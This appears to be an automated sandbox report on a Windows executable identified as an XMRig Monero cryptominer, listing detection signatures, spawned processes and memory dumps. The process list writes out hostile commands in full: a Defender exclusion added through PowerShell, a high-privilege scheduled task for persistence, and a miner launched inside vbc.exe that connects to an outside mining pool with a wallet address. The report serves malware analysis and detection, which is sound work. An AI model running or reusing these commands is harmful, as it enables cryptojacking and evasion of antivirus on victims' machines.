Analysis
- max time kernel
96s - max time network
146s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
20/01/2023, 19:52
General
- Target adc669c93f37465d132469c64ae41bd8.exe
- Size 1.6MB
- Sample230120-ylek5sbe7s
- SHA256 e03a2ded10015b5f58ec83345fd3fcf4ea370ee4e6f505ad18f65ee1b689eef3
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- .NET Reactor proctector 2 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- XMRig Miner payload 6 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\adc669c93f37465d132469c64ae41bd8.exe"C:\Users\Admin\AppData\Local\Temp\adc669c93f37465d132469c64ae41bd8.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "NOLAB" /tr "C:\ProgramData\Maker\NOLAB.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "NOLAB" /tr "C:\ProgramData\Maker\NOLAB.exe"3⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 764 -s 37682⤵
- Program crash
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 428 -p 764 -ip 7641⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/764-145-0x00007FFE38440000-0x00007FFE38467000-memory.dmp
memory/764-142-0x0000000000700000-0x0000000000980000-memory.dmp
memory/764-136-0x00007FFE1DAC0000-0x00007FFE1DB7D000-memory.dmp
memory/764-137-0x0000000000700000-0x0000000000980000-memory.dmp
memory/764-138-0x0000000001080000-0x00000000010C3000-memory.dmp
memory/764-139-0x00007FFE38580000-0x00007FFE38721000-memory.dmp
memory/764-140-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp
memory/764-168-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp
memory/764-157-0x00007FFE39EF0000-0x00007FFE39F5B000-memory.dmp
memory/764-143-0x00007FFE1D970000-0x00007FFE1DABE000-memory.dmp
memory/764-135-0x00007FFE35B70000-0x00007FFE35B82000-memory.dmp
memory/764-144-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp
memory/764-141-0x00007FFE39D60000-0x00007FFE39D8B000-memory.dmp
memory/764-167-0x0000000000700000-0x0000000000980000-memory.dmp
memory/764-166-0x00007FFE17090000-0x00007FFE171FA000-memory.dmp
memory/764-133-0x00007FFE1DB80000-0x00007FFE1DC2A000-memory.dmp
memory/764-150-0x0000000000700000-0x0000000000980000-memory.dmp
memory/764-151-0x0000000001080000-0x00000000010C3000-memory.dmp
memory/764-152-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp
memory/764-158-0x00007FFE37020000-0x00007FFE3705B000-memory.dmp
memory/764-134-0x00007FFE3A440000-0x00007FFE3A4DE000-memory.dmp
memory/764-155-0x00007FFE1D6E0000-0x00007FFE1D715000-memory.dmp
memory/764-156-0x00007FFE17860000-0x00007FFE17962000-memory.dmp
memory/836-163-0x0000018549DB0000-0x0000018549DD0000-memory.dmp
memory/836-170-0x0000018549F10000-0x0000018549F30000-memory.dmp
memory/836-159-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/836-161-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/836-162-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/836-173-0x00000185DC5E0000-0x00000185DC600000-memory.dmp
memory/836-164-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/836-165-0x00000185DBF70000-0x00000185DBFB0000-memory.dmp
memory/836-172-0x0000018549F10000-0x0000018549F30000-memory.dmp
memory/836-171-0x00000185DC5E0000-0x00000185DC600000-memory.dmp
memory/836-169-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1132-147-0x00000263EEC40000-0x00000263EEC62000-memory.dmp
memory/1132-148-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp
memory/1132-149-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp